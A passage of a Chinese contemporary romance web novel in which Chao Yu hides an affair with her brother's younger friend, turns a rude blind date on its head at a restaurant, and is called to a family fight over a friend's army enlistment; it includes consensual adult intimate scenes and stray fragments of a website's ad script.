猛一下睁眼的时候,藏蓝窗帘里透出一丝晨曦,天光已大亮。 晁雨一下子坐起来,往边上看了眼,辜屿背对着她,只占了床侧很小的一块地方,毯子挡在腰际,露出削薄的脊背。 有点性感。 不对啊她现在不该想这些!这这这,要是溜出小院的时候撞见毛秀珍或她妈,她该怎么办?! 晁雨这人从小就循规蹈矩没干过什么坏事,这会儿莫名其妙有种早恋即将被抓现行感。 她悄悄下床穿好衣服,把窗帘撩起一条缝往小院里看了眼。 很好,毛秀珍不在。 她抓住时机悄悄溜出去,又看了眼时间,这个点晁正声已经去出摊了,葛洁应该在准备早饭,只要她神不知鬼不觉溜回二楼…… 她计划得很好,只是刚走出小院,差点没撞人身上,吓得她差点没嗷一嗓子。 谁这么早?! 她摁下扑扑的心跳,一看—— 竟是拖着行李箱的许辰懿和背着包的晁二柱。 这两人不是应该昨晚就从曲塘水镇回来了吗? 晁雨看着许辰懿眨两下眼,两人大眼瞪小眼了一阵。晁雨掌心里汗都出来了,她明显感觉到晁二柱正看着她。 这要是让晁二柱这个大嘴巴知道了,葛洁还能不知道? 正当晁雨脑子里飞快盘算着,到底该如何解释她一大早从毛家小院出来这件事。 晁二柱先开口了:“姐,回家么?” 晁雨微一怔,点点头。 三人便以一种诡异的沉默,穿过斑马线向对面的晁家老宅走去。 昨夜暴雨,今晨万里无云,晁雨被一大早的日头晒得有些晕: 晁二柱这是默认她去给毛秀珍送什么东西了? 所以什么都没问? 三人进了家门,又以一种诡异的默契,谁都没惊动厨房里的葛洁,各自回房去了。 晁雨在房里兜了两圈,洗了个澡换了身衣服,下楼。 葛洁:“哟,今天起得还挺早。” “哈哈。”晁雨:“哈哈哈。” 不一会儿晁二柱和许辰懿也来了,四人一起吃了顿早饭。 葛洁问:“这次去水镇玩得怎么样?” 晁二柱:“还行。” 葛洁:“水镇有什么变化么?” 晁二柱:“也没什么。” 晁雨瞥了晁二柱一眼,他并没主动提起改了行程今早才回这件事。 吃完早饭,晁雨去上班。 九叔这老头儿也不知每天到办公室这么早干嘛。晁雨迎着九叔审视的目光走进去,九叔问:“昨晚去扫塔了么?” 晁雨心里一跳:“扫了。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 九叔一双眼眯起来:“真的?” 晁雨强自镇定:“真的。” 这也不算完全意义的说假话。 要说扫没扫,她真扫了。不过只扫了一层,没扫完而已。 佛祖在上,可别惩罚她以后买方便面都没调料包。 上班的时间其实过得挺快。 她一头扎在劝宁塔的修缮方案里,再一抬头的时候肩颈发酸,已是夕阳西沉。 葛洁今晚请了男孩们来吃饭。 去了一趟水镇回来……也算接风吧。 这顿晚饭,晁雨反而是到得最晚的一个。 她在自己房里忽然来了点灵感,画了阵图,到饭厅的时候,男孩们已经到了。 马超:“雨姐快点,这都挺饿的。” 晁雨瞥了眼,剩下几个空位。其中一个,在辜屿和许辰懿之间。 晁雨经过了一番短暂的内心挣扎: 坐吧,会不会显得有什么。不坐吧,又会不会显得欲盖弥彰。 对于这种想不清楚的事,晁雨心中最后归为了四个字:去他妈的。 她就走过去坐下了。 一顿饭聊得愉快,葛洁说她也该哪天不要出摊,跟晁正声一起去水镇走走。 马超提醒:“要早点买票。我们回来的时候没包小巴,没想到车票挺不好买的。” 葛洁问:“你们几点到的?” “挺晚了,都过了夜里十二点了。” 晁雨没注意到这段对话。 因为一个男生正把一颗晁正声下酒的咸干花生抛给晁二柱,晁二柱没接稳,顺着桌沿滚下,辜屿勾下腰去捡。 他有一瞬顿滞吗? 晁雨不确定。桌面以上,她跟许辰懿谈笑风生。桌面以下,她不自禁地收了收脚踝。 她总觉得有那么一瞬间。 辜屿当着这满桌的亲友。 藏在桌面以下,望了眼她的脚踝。 她很轻地掖着唇角,想起昨夜,辜屿勾下身去,双手握住她的脚踝。 她太意外了。上次辜屿用手还好,可这一次,她没想到矜贵冷傲的佛子、会俯身做这种事。 脑子里很清晰冒出一张照片,辜屿在微博流传最广的那一张,冷白手指的特写,两指间衔着黑子。 一个连手都显得很冷静的人。 可晁雨听着身下的声音,抬手捂住了自己的嘴。 那样的反差感太强,强到为所有情不自禁的反应加持。 然后她跟辜屿说:“我帮你。” 她便是在那一刻开的灯。 她发现人都是有劣根性的。即便一直循规蹈矩如她,脚踏实地如她,这一刻也恶劣的想看一看众人眼中的佛子破防的模样。 辜屿抬手挡在眼前,可从他微张的指缝里,可以看见他紧阖的眼皮和颤动的睫。 耳后类似过敏的细细红痕,在一路往锁骨方向蔓延。 接着他忽地推开晁雨,往浴室的方向去。 晁雨一个人坐在床上,平复着自己的呼吸,看向自己微颤的手。 昨晚这些情景在晁雨脑子里压了一天,说不上是刻意还是无意的没想起。 这时却因辜屿看向她脚踝的一眼,席卷过她。 她抬手揉了下发红的耳垂,很怕许辰懿发现她的异常,但许辰懿没有。 辜屿直起腰来,把花生抛给晁二柱。 看了身边的晁雨一眼。 她皮肤真的太白了,薄而透,昨晚气血上涌的时候,似胭脂洒了满身。此时所有的绯色集中于耳垂,像一枚小小熟透的红樱桃。她摸了下想让那绯色快速消褪,没用,反而把辜屿的视线引到她耳后。 藏在浓密的乌发之下,是他迷乱中吮出的桃花痕。 辜屿又多看了眼,这才收回视线。 41. 第六件小事05 吃完饭,男孩们回毛家小院继续打游戏去了。 晁雨和许辰懿回到晁雨的房里,还是和以前一样,晁雨伏案在书桌前苦思修缮方案,许辰懿靠在床头翘着脚刷手机,万一被甲方霸霸逮要改方案,她就唉声叹气地回客房去。 晁雨今晚难得有些走神,翻古建筑图册时,被铜版纸割伤了手指。 “卧槽。”许辰懿从床上跳下来:“你倒是小心点啊!” 会在她生病或受伤时这样骂她的,第一个是葛洁,第二个就是许辰懿。 许辰懿在晁家住了段时间,把这里摸得比自己家还熟,立刻蹬蹬蹬下楼去找创可贴,又蹬蹬蹬上楼,给晁雨贴好。 晁雨看着帮她裹创可贴的许辰懿,张了张嘴。 跟辜屿的这事,她不是想刻意瞒着许辰懿。她就是,一个从来没干过什么出格事的人,却在这个夏天给自己找了个床伴。 还比她小四岁。还是她弟的朋友。还是国民天才。还技术特好。 啊没有最后这条。 她一时之间,实在不知怎么开口。 许辰懿逍遥没一会儿,果然被客户抓壮丁,骂骂咧咧回客房去了。 晁雨的铅笔握在指间转了个圈。 她现在也是有床伴的人了,好牛啊。 这床伴该怎么使唤呐? 是不是她招呼一声,辜屿就得麻溜的把自己洗干净、然后把自己送上她的床? 想想还真有点…… 晁雨本以为自己想的会是“羞耻”,没想到脑子里蹦出的词是“刺激”。 想通了不就这么回事么?成年人不要难为自己。 她放下铅笔,把手机捞到掌心里转了圈。 可这……怎么办她还是个老实人,她还是不太适应有床伴这种事。 第二天她下班回家,得,昨天的原班人马聚在她家。 看样子是毛秀珍又输了钱,男生们一脸的心有余悸,也不知毛秀珍做了什么比花椒炒火龙果更暗黑的菜式。 葛洁在饭桌上瞟晁雨一眼,又瞟一眼。 晁雨就感觉要出事。 果然葛洁开口:“你徐阿姨这边有个特别优秀的男孩子,稍微大一点,三十一岁……” 晁雨想也不想地说:“我喜欢弟弟。” 葛洁筷子一拍:“都说了,除了上次那个小周,比你小的都在这了,你挑一个吧。” 男生们露出比看到毛秀珍的黑暗料理更惊恐的表情。 “雨姐……” “雨姐……” “雨姐……” 晁雨的眼风一个个扫过去,他们就一个个开口颤巍巍地叫。 马超更是两根手指并拢、指着屋顶的灯:“雨姐,上次我就表态了,你是我永远的姐。以后不管你让我掏鸟窝还是通马桶,我绝不二话。” 晁雨默默叹口气。 本来想挑一个陪她去相亲、就说是她的小男朋友,还是算了吧。 葛洁这次发了狠话,要是晁雨不去,就别回这个家了。 许辰懿幸灾乐祸地给晁雨出馊主意:“要不我陪你去,你就说我是你女朋友。” 晁雨连连摆手:“算了算了,你别把我妈吓出心脏病来。” 相亲那天,晁雨还是去了。 她好像从小就是这样,努力考个好学校、努力找份好工作,好像总希望自己更符合所有人的要求一点。 她总不敢让身边的人失望。 洵州新城区好的西餐厅也就那么一家,所以这次,还是在她上次和周旭尧相亲的那家。 不过她心态不一样了。 既然还没准备好走入下一段认真的感情,她打算直接拒绝,礼貌点,让葛洁在徐阿姨那里别太难做就好。 还是晁二柱开着五菱宏光送她过去。 这次小破车挺争气,没坏在半路上。 到了西餐厅,晁二柱跟着晁雨往里走。 晁雨瞟他一眼。 “不是。”晁二柱:“妈让我监督你,怕你溜号。” “给你什么好处?” 晁二柱往里指了指,晁雨一看,马超和几个男生已经坐在那里,正冲晁二柱挥手。 晁二柱老实道:“这顿饭,妈请。” 这是下了血本了。 晁雨不搭理他们,自己往里走去。 一个西装革履的男人坐在那里,看见晁雨,先是上下打量了她一番,然后才站起来。 也没帮晁雨拉开椅子。 晁雨自己拉开椅子坐下,他递上菜单。 晁雨翻看菜单的时候,他先开口:“有些话还是说在前头比较好。” 晁雨抬眸。 “其实对于你的年龄,我是不满意的。女人一旦过了二十五岁,说得直接点,其实就不值钱了。” 晁雨看了他一眼。 正好这时服务员上前:“女士,选好了吗?” 晁雨合上菜单:“先来一瓶夏山蒙哈榭白。” 服务员明显怔了下。 晁雨笑道:“坐在我对面的男士,很有实力。” 目光垂落,在他手腕上扫了下。 他戴着一只入门款劳力士。 “主菜的话要肋眼牛排就好。”晁雨把菜单交还给服务员。 男人的眉心明显跳了下,但也没说什么。 服务员离开后,他抬起手腕转了转腕表,清了清嗓子:“但徐阿姨说你条件不错,大城市回来的,见过世面,长得也好。” “今天见了真人,是还不错,比较温柔,是我妈喜欢的类型。” 说完目光往下坠,在晁雨胸前流连了下。 “但有些条件,还是先说清楚比较好。我以后希望有一儿一女,太太不用上班,在家待着带小孩就好,很轻松的。” 晁雨插话道:“听起来你家条件挺不错的。” 男人怔了怔,点头:“是,我家在新城区有两套房,第一套两百多平……” 晁雨打断他:“请了家政阿姨么?” “当然。” “一个小时多少钱?” 男人又一怔,报了个数字。 晁雨点点头:“那你会给你太太发薪水么?” “一家人发什么薪水?” “哦,那就是打白工。”晁雨又点点头:“轻松在哪里?” 男人的眉心已然蹙了起来。 晁雨却做出一副很感兴趣的样子:“你继续说。” 男人吸了一口气:“我自己开一家家装公司,实力嘛你也已经看出来了。结婚以后,你肯定是吃喝不愁的,就一点,我不希望你有太多社交,我工作比较忙,希望你多点时间照顾小孩,另外就是多陪我妈,她虽然脾气不好,但人其实蛮好的。” 晁雨一边保持微笑听他说,一边给晁二柱发微信。 冷冷冰雨:[多点贵的。] 不叫擎天柱偏叫大黄蜂:[?] 不叫擎天柱偏叫大黄蜂:[不是,姐,你不能因为妈叫你来相亲,就这么坑她啊。] 冷冷冰雨:[不要妈出钱。] 冷冷冰雨:[我出。] 晁雨发完这句看了眼侧后方那桌,晁二柱的头立刻抬起来了。 往她这边瞟一眼,然后交头接耳着什么。 晁雨看那嘴形的意思是——“我姐疯了。” 相亲的西装男用手指轻叩一下桌面,晁雨抬起头来。 西装男蹙着眉心说:“可能我要先提醒你一下,我妈非常不喜欢有人在吃饭的时候玩手机,你这毛病得改改。” “哦。”晁雨顺从地笑笑,收起手机:“你继续。哦对了,你刚才说想生一儿一女对吧?” “当然。” “那你生育能力怎么样?” 男人明显震惊了。 “不行啊?”晁雨语气里充满遗憾。 “当然不是,很行,特别行。” “镶钻了?”晁雨问。 男人第二次瞳孔地震。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晁雨柔和地笑着摆摆手:“我就是个比喻啊。对了我的情况你了解么?我现在在古建筑保护管理局工作,听起来是个局,其实办公室在一个鸡鸭鹅店和一个棉絮店之间,哦还有,我没编制。” “其实我不需要你有什么事业,反正婚后要辞职的。你会有很多自己的时间,只要把小孩照顾好、把我妈照顾好,除此之外,想做什么做什么,我不会管你,当然,你也别查我的银行卡和手机。” 晁雨点点头:“那你还挺大度的。我有个床伴行么?” “什么?”男人的瞳孔直接震裂了,怀疑自己听错了。 “我说我有个床伴,年纪小不懂事,黏我黏得特别紧,但没办法,他长得乖,活儿又好,能怎么办,宠着呗。”晁雨把最后一口牛排喂进嘴,优雅地用餐巾擦了擦嘴。 “你知不知道你在说什么?”西装男问。 晁雨点点头:“知道。” “你是一个快三十岁的女人,没钱,在大城市混不下去回洵州了,你说有一个这样的男人非得缠着你?”男人向后靠着椅背,声音里带上些嘲意:“凭什么?” “凭他眼神比你好?”晁雨偏了一下头。 男人笑了笑:“我能见见么?” “什么?” “我想见见,让我开开眼。” 晁雨往晁二柱那桌瞟了眼,琢磨着该把谁摇过来。 那桌也发现晁雨这边气氛不太对了。 马超搡了晁二柱一下:“雨姐那边,好像聊得不太愉快。” “谁去给我姐撑个场面?” 有男生指向马超:“你去,你胆子最大。” “凭什么我去?我说了,叫一天雨姐,一辈子都是我的姐。谁没叫过雨姐谁去。” 正当这时,辜屿站到了桌前。 马超和男生对视一眼。 谁也没敢说出“狗哥要不你去”这句话。 马超问:“狗哥你怎么来了?” 晁二柱猜到了:“肯定是毛奶奶叫你来蹭饭的,她不想做饭。” 晁雨在桌下悄悄给晁二柱发微信。 冷冷冰雨:[除了你以外谁都行,赶紧的给我滚过来。] 两秒后,一道影子映在了晁雨面前的大理石餐桌上。 晁雨肩一滞。 她给晁二柱发微信的时候,并没看到辜屿走进来。 啊这…… 其实来的是谁都行,她这张嘴怎么着也是被许辰懿培训过的,也能说得天花乱坠。 偏偏是辜屿,真有什么的这个人,让她一时失语。 辜屿蒙着黑色口罩,微微勾下腰,凑近她耳畔:“姐姐,回家么?” 晁雨的肩绷着,对面的西装男正目不转睛地盯着他俩。辜屿需要做些什么,来佐证她刚才鬼扯的那番言论么? 可如果辜屿亲密搭上她的肩,她会觉得怪,非常怪。 辜屿没有搭上她的肩。 辜屿只是伸出手来,把她粘在软绸白衬衫上的一根长发,轻轻摘了下来。 然后口罩上露出的一双清隽的眼,平静看向对面的西装男。 男人咬着后牙根说:“买单。” 服务员走上前来:“请问怎么付款?” “AA。” “不,他付。”晁雨站起来:“他没看上我,不是我拒绝他,哪有相亲这顿饭还要我掏钱的道理?” “这么有实力的人,不会是这么小气的。”晁雨垂眸,又一次看向男人的腕表。 男人阴沉着脸:“账单拿来。” “哦对了,还有我弟他们那一桌,本来是想来看看未来姐夫的。”晁雨笑道。 晁二柱和马超心真黑啊,他们点的餐外加晁雨点的那瓶酒,加起来快小一万块钱了。 晁雨心情舒畅地看西装男付了钱,跟站在她身后的辜屿说:“走吧弟弟,我们回家。” 本以为辜屿不会回答。 一阵短暂的沉默后,辜屿的声音传来:“好。” 42. 第六件小事06 西装男开着他的宝马,头也不回地离开了。 晁雨和男孩们走出西餐厅。 马超抚着自己的胃:“我姐还是我姐,牛掰!” 又用嘴形跟辜屿说:“你也牛掰。” 他们都没想到辜屿愿意走向晁雨那桌,这事吧,有点怪。 但是辜屿又是他们中唯一不怎么怕晁雨的那个,甚至显得十分冷淡,话也没说过几句。也许他就是想快点把这事解决,别在那边拖拖拉拉的。 晁二柱没喝酒,晁雨叫他:“走了,开车回去了。” 马超他们各自打车。 晁二柱:“狗哥跟我们顺路。” “顺路又怎么了?”晁雨拖走晁二柱:“你那小破车就能坐两个人,你把他绑车顶还是怎么着?” 回到家,葛洁早收摊回来了,披着件家居服坐在堂屋里。 她总说这老宅里湿气重,她上年纪了,入了夜得注意点。 “妈,姐今晚去是去了,但具体情况你听我姐自己说。”晁二柱立刻就遁了。 晁雨在葛洁旁边的官帽椅坐下:“妈……” “我都听你徐阿姨说了。” 晁雨心想这西装男嘴挺快啊。 她刚要解释,葛洁说:“你怎么没扇他一巴掌呢?” 晁雨微一怔,咧嘴笑道:“主要吧他看起来素质不太高,我怕他还手。” 葛洁叹了口气。 晁雨想了想还是说:“妈,我以后能不相亲了么?” “这个不好,不代表所有的都不好。” “我知道,可我不想再被这样放在秤上称了。”晁雨说:“女孩的这一生,被像这样称的时候,已经够了多。” 葛洁沉默半晌。 最后点点头:“行。” 反倒是晁雨愣了下:“你就答应啦?我还以为你要劝我呢。” 葛洁一手摩挲着另一手的大拇指:“我本来总想着,等以后我和你爸都不在了,二柱子又大大咧咧的,我在天上看着,没人护着你的话,我会很难过。” 晁雨站起来走到葛洁身边,揽抱着葛洁的肩:“谁能护着谁啊,只有自己能护着自己。” 葛洁拉过她的手拍了拍:“我护着你。” “以后我去天上了,我就在天上护着你。” 晁雨瞬时有些鼻酸。 她扯了些另外的话题,跟葛洁随便聊了两句,便匆匆上楼了。 工作了一会儿,一直到深夜。 整座老宅万籁俱寂。 晁雨下楼的脚步声很轻,又悄悄踏出老宅。 她觉得辜屿应该等在那里,就在马路对面,站在路灯下,一身黑衣黑裤,手插在口袋,脸上的表情很淡。 从今晚辜屿站在她身后、从她肩上捡走她掉落的一根发丝时,她就有了这样的笃信。 辜屿果然在那里。 唯一跟她所想不同的是,辜屿并没有站在路灯下,而是站在交通标志灯下。由红变绿的一瞬,光影打在他脸上。 晁雨走过马路去,两人沉默地往毛家小院走去。 事实上即便到了现在,他们仍没有并肩,仍是一前一后地走着。 只不过进了辜屿的房间,晁雨锁上门,两人纠缠到一起。 晁雨跨坐在辜屿的腰际,俯身看着陷落在枕头里的辜屿。 她今晚穿的T恤上有一条领巾,带点小设计感的穿插在一格格镂空的领口。 这时她把领巾扯下来,缚在辜屿眼上。 这时两人之间什么都不剩了,只剩这条领巾。 辜屿明显怔了怔,可晁雨用领巾缚住他的眼时,他并没反抗。甚至晁雨在他脑后打结时,他还抬了一下头。 晁雨说不上为什么,今晚她迫切地想要掌握主动权。 今晚终于有准备了,终于可以进行到最后一步。晁雨跨坐上去,感受着某种崛起,皱着眉跟辜屿说:“叫姐姐。” 也许她今晚被西装男审视掂量的目光恶心坏了。 辜屿很干净,辜屿很傲慢,可辜屿上一次勾身向下服侍她时,她感到的不只是被尊重,甚至是一种圣洁的、虔诚的崇拜。 女性的身体,值得圣洁的、虔诚的崇拜。 她坐上去时辜屿抿着唇,并没有叫她。是等她失力时辜屿欺身起来,拥住她,挂在耳上的丝巾滑落下一半,露出雪中墨迹般的一只眼。 一盏昏黄的台灯开着,可晁雨慌忙闭上了眼。说不上为什么,她竟心悸于看辜屿这一刻的神情。 说不上是她占有了辜屿还是辜屿占有了她。辜屿填满她时俯在她耳边,用低暗的声音喊:“姐姐……” - “雨姐。” “姐姐。” 听起来差不多的称谓,被人用截然不同的语调叫出来,就是完全迥异的意味。 这一夜晁雨记得回家。 就算再乏力,她爬也要爬回去。她可再受不了一次大清早从小院出来碰见熟人的刺激。 离开前,她把领巾穿回一格格镂空的领口时,回头问辜屿:“以后能去我那么?” 这样她就不用走路了。 可辜屿说:“不。” 晁雨回到家倒头大睡,连梦都没做一个。 第二天一大早,她卧室的门被人一把推开:“姐们儿,跑步去呗!” 晁雨揉着眼,觉得两只眼皮好像黏在了一起似的:“你说什么?” “跑步!”许辰懿拍着巴掌:“你妈手艺也太好了!吃得我小肚子上的肉都快出来了。” 晁雨艰难地睁开眼。 她这姐们儿可真会挑时候。 许辰懿站在门口,眯起狐狸一样妩媚的双眼看她:“怎么了你?虚了啊?” “谁说的。”晁雨从床上爬起来:“来了。” 虚什么虚。她心虚。 换了衣服出门跑步。其实洵州的早晨是很适合跑步的,青石板上沾着轻微的露气,杨柳混着梧桐,把浅金的晨光裁成一缕缕。 吸一口晨间的空气,是老旧的古书被晨光晒透的味道。 跑着跑着,许辰懿忽然用胳膊肘拐了晁雨一下。 晁雨本就腿软,被她这一拐,差点没直接跪地上给她拜个早年。 “怎么了?” 许辰懿努努嘴:“辜屿弟弟。” 还真是,辜屿在晨跑。 许辰懿眼都不眨地盯着他。 “你干嘛?” “从他跑步的姿势推断下,他到底虚不虚。” “不虚。”晁雨顺嘴就答。 真不虚,她终于验证过了。相当不虚,特别不虚。 许辰懿把眼珠子从辜屿身上撤回来,又粘到晁雨身上。 “不是,你看。”晁雨舌头打了下磕巴:“他这不是跑得挺好的嘛。谁说瘦薄的人就虚了,说不定像我弟那样看着壮的,其实才虚呢。” “不虚。”许辰懿顺嘴也答。 “你怎么知道?”晁雨看向许辰懿。 许辰懿眨了两下眼:“姐们儿这双眼在健身房阅人无数啊,早就练得火眼金睛了。” 颇有道理。 晁雨回家冲了个澡,早饭时怒吃两个甜滋滋的米馒头。 上班时,结束了今天的案卷整理,她又摊开劝宁塔的设计方案。 九叔伸头看了眼:“琢磨这么些天了,琢磨出什么来了吗?” “嗯,琢磨出来了。”晁雨指指方案:“在不改动外观的前提下,基本不可能弄出来。” 九叔端起茶缸喝口浓茶,又把一根茶叶梗吐回茶缸里:“该放弃啦,别折腾了。” “一个夏天。” “什么?” “我给自己一个夏天的时间。” 说实话,这是晁雨第一次真正感受到设计的乐趣。 从前她的设计 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,只想着怎么让甲方满意,怎么让明恒宇满意。可这一次,没人催着她交稿,就一个秃顶老头儿,天天催着她放弃,她由着自己的想法,反而咂摸出其中的乐趣来。 从前她是一个事事求结果的人。 本来天赋不高,更没有多少时间可以浪费,她承担不起走错一步的后果,只想事事安稳。 可是辜屿,还有劝宁塔,这两件事她想通了,她不求结果。 她在循规蹈矩了将近二十七年的人生里,给自己一个放纵的夏天。 不过分吧。 下班的时候,许辰懿到办公室来找晁雨:“走,请你喝奶茶去。” 晁雨收拾好包,拿起钥匙锁好办公室的门:“我发现,你这两天有点黏我。” 许辰懿信口胡诌:“对对,我爱上你了。” 两人一起去了云泉高中校门口的奶茶店,晁雨两倍糖,许辰懿三分糖。 喝完又钻进校门口的文具店。 暑假还没放完,文具店开倒是开着,但人烟稀少,只有两个女生在里面挑钥匙扣。 其中一个瞟了眼许辰懿的奢牌包,拍拍闺蜜的肩,低语了句什么。 许辰懿是个泼辣的,张口便道:“放心吧妹妹们,这种包你们迟早会拥有的。” 两个小女生害羞,这么明眸皓齿的大美女笑着跟她们说话,她们咻一下遁了。 许辰懿笑笑,拨弄了下货架那排钥匙扣:“反倒是这些,我一辈子都不会拥有了。” 她跟晁雨说:“你看我这样,相信我小时候穿过打补丁的衣服么?你看我现在装得多好。” 晁雨心里有点酸,故作轻松跟她说:“这些小玩意,你现在随手可以买一吨。” 许辰懿一挑唇:“不是那味儿了。” 她说着顺手一捏面前的一个毛绒小狗挂饰,想不到还是个声控的。一捏肚子,小狗就叫:“姐姐!” 晁雨:…… 哎哟喂她现在听不得这两个字。 她抬手揉了下耳垂。许辰懿没发现她的异常,又捏了下小狗肚子,小狗又叫:“姐姐!” “哎哟这小东西,有点意思。”许辰懿顺手从货架摘下来抛给晁雨:“我买了,送你。” 晁雨:??? 许辰懿:“来都来了,白吹人老板半天空调,总得买点什么。” 许辰懿付了钱,两人一起走出文具店。 走到毛家小院门口,正遇到男生们出来。晁二柱招呼了声:“姐,吃面去么?” “什么面?” “江西大姐的面。” “不去不去。”晁雨摆了摆手。 马超看了眼晁雨手里拎着的钥匙扣:“雨姐,你还喜欢这种东西呢?给我看看。” 晁雨也没多想,顺手抛了过去。 马超伸手凌空一接的时候,她才反应过来:糟了。 马超接住玩具狗钥匙扣的时候,刚好捏住那狗的肚子,小狗欢快地叫了起来:“姐姐!” 晁雨:…… “哟这还是个声控的。”马超说着又捏了几下:“现在的钥匙扣这么高级呐?” 小狗继续欢快地叫:“姐姐姐姐姐姐!” 晁雨:……………… 一把从马超手里抢过钥匙扣:“还来吧你。” 水乡小城的傍晚,是一幅淡淡的水墨画。夕阳橘粉调,青石板路晃悠悠,这里不只有晨雾,暮色间也有溪水蒸出的薄雾,柔和地裹住一切。 他们站在爬满葡萄藤的月门前笑谈,晁雨挎着许辰懿的胳膊,辜屿站在男生群的最边缘。 他看了眼晁雨若无其事的脸,和悄然变绯的耳垂。 往边上侧了侧头。 晁雨眼神飘过去的时候,只看到他线条凌厉的侧脸,望着夕阳方向。 晁雨心里冒出个莫名其妙的想法:他是在笑吗? 如果他是在笑,多好啊。 43. 第六件小事07 深夜,晁雨溜出家门。 和昨天一样,辜屿等在那里,站在变换的交通标志灯下。 晁雨走过斑马线的时候,其实很想问:就这么等在这里? 如果我没出来呢? 转念一想,又把这问题咽了回去。走到辜屿面前,问题换成了:“你是在笑么?” “什么?”辜屿问。 “就是傍晚的时候你们去吃面,马超捏我那钥匙扣的时候。”晁雨问:“你笑了么?” 辜屿顿了顿:“没有。” “哦。” 两人往毛家小院走,还是像以前一样,一前一后。 晁雨看着辜屿投射在地上的影子,还是决定解释一下:“那个钥匙扣,不是你想的那么回事儿。” 辜屿没说话。 晁雨脚尖磨一磨青石板上的裂纹,又觉得自己这话说的。 也许辜屿根本没在意,她在这越描越黑。 诶不对,自己今晚出来就是想跟辜屿解释这钥匙扣的,怎么又跟着辜屿往小院走了。 可当她陷落在辜屿的枕头里,辜屿一边凌厉地进攻,一边臂弯却柔和地圈住她:“姐姐。” 在她不自禁想要发出声音的时候,抬手捂住自己的嘴,辜屿勾下颈,把她的手指含进嘴里。 她的手指被铜版纸割破了,不深,这会儿没贴创可贴了。被辜屿含着,伤口却变得很有存在感。 她知道辜屿垂着眼皮冷薄的眸子,在看她完整的神情。 台灯昏黄的灯光把夜色涂写得很温柔,再冷漠的人轮廓都被染得柔软。 晁雨觉得这感觉既陌生又奇妙。作为一个快二十七岁的女人,她显然探索过自己的身体。可这跟另一个人相融的感觉又完全是两回事。 清理完她穿回自己的衣服时,她动作顿了顿。 辜屿在身后问:“怎么?” “没事。”晁雨背对着他,低头勾唇笑了下,继续穿衣服。 她就是觉得有点好笑。 这种时候,她才真有种自己找了个床伴的感觉。 睡完穿上衣服就跑。 “对了。”她忽然想起一件很重要的事,回头问:“马上就要春闻杯了,你真不需要禁欲么?不是说运动员在大赛前……” 辜屿的表情渐渐变得有点无语。 “你还真信。”他说。 “啊不用的吗?”晁雨心想,她就是这么个操心的人。 溜回家重新洗澡,回到床上,晁雨侧躺着,枕着自己的胳膊肘,捏了下那个玩具狗钥匙扣。小狗欢快地喊:“姐姐!” 哎唷我去,晁雨赶紧把钥匙扣捂进毯子里。 声音怎么这么大,大半夜的吓人一跳。 第二天上班的时候,晁雨接到晁二柱的电话:“赶紧到超哥家来。” 晁雨看了眼时间:“我还有五分钟才下班。” “超哥跟他爸打起来了。” 晁雨不再废话:“这就来。” 她边站起来边收拾包:“九叔,我早退一会儿。” “扣钱。” “行行行,扣扣扣,你给我折算成每分钟那么扣啊,我应该就早退了三分钟。”她背起包就往外面跑。 坐公交是来不及了,她决定直接打车。 然后才发现,原来她办公室坐落在一条小店林立的老街里,是如此不好打车。看了眼打车软件,也没人接单。 九叔从办公室踱出来,背着手站在她身后,哼一声,然后抬起只手,含在嘴里吹了声口哨。 晁雨就斜着眼看老头儿耍帅:我等好几分钟都不来,你一吹口哨出租车就来了?你以为你谁,齐天大圣啊。 想不到这时,一个和九叔同样打扮的老头儿,穿件老头乐背心、腰间一条棕色皮带后挂着串钥匙,骑着辆小电瓶停在两人面前。 老头儿很豪迈地问:“老九!今天去哪儿下棋?” 九叔挥挥手:“你先帮我送个人。” 晁雨将信将疑地上车,报出马超家的地址。 这小电瓶不会比她坐公交车过去还慢吧?晁雨说:“大爷,咱尽量快点,把电瓶车当神舟十八号那么开。” “得嘞。” 小电瓶如一支离弦的箭就蹿了出去。晁雨吓得赶紧双手掌住后座,这要是她再多一只手,她非得伸手摁住自己的头,别给吹掉了。 “大爷,您慢点慢点,道路千万条,安全第一条。” 晁雨一颗小心脏扑扑直跳。果然,你大爷还是你大爷,轻视谁都不能轻视大爷。 五分钟,晁雨觉得最多五分钟,她就赶到马超家了。 正好赶上战局最激烈的时候,一个瓷碟擦着晁雨的耳朵飞过去,晁雨一偏头,眼睁睁看着瓷碟砸在了走廊的墙上。 马超家也住老城区,不过不是木制楼,算是第一批商品房。 但他爸妈是从老房子里迁过去的,也没关门的习惯,大夏天就在门口拉一层防蚊的纱帘。这会儿不知怎的,连纱帘都开着,晁雨走进去,就看到马超和他爸扭打在一起。 不是摆样子,是真打。 晁二柱站在一边,想拉架又没处下手:“别打啦别打啦!” 马超他妈在一旁嗑着瓜子:“打得好打得好!” “今天非得把这小子给打服!” 晁雨问晁二柱:“怎么回事?” 晁二柱压低声:“超哥悄悄报名了大学生征兵。” 晁雨一怔,下意识看着墙边案几上供着的那张黑白照片。 那是马超他亲哥,叫马煊,参军后转岗成为了一名缉毒警察。 马超他爸自己开了家修车厂,每年夏天光着白花花的膀子在店门口修车,很以自己的这个大儿子为傲,还在店门口拉过横幅。 马超就不一样。马超挺浑的,跟晁二柱同一年级,在学校里没少惹事。 在晁二柱小时候还没练壮的那些年,都是马超罩着他。 后来马煊牺牲在了岗位上。马超沉默了三天,闭门不出,所有人都以为他会幡然醒悟,但他还是我行我素,继续混着。 他要高考那年,他爸妈实在没招了,他妈给晁雨打了个电话。 晁雨就给马超打了个电话:“你妈说了,你要是考不上大学,明年复读就我来给你当家教,每年我本来应该赚多少钱,你爸补贴给我,我就天天盯着你学习。” 马超差点没吓死,天天挑灯夜读,好不容易考上了个三本。 有时候晁雨有种感觉,马超就是故意在过一种跟他哥相反的人生。 晁雨问晁二柱:“他怎么会突然想去当兵?” 晁二柱摇摇头:“不知道。” 晁雨走过去叫了声:“马超。” 马超从一通乱战里抬起一只眼,那只眼血红:“雨姐,我叫你一声姐,今天这事你真别劝我。” “我不劝你。”晁雨轻声说:“我劝你爸。” “叔,你想想马超为什么要去当兵?” 马超他妈把瓜子一丢,呜呜地哭了起来:“我就知道这事劝不住!” 晁雨走过去挽住她胳膊:“阿姨,你去我家坐会儿,让马超跟叔叔好好聊聊。” “他们聊什么,他们只会打。” “边打边聊也行。” 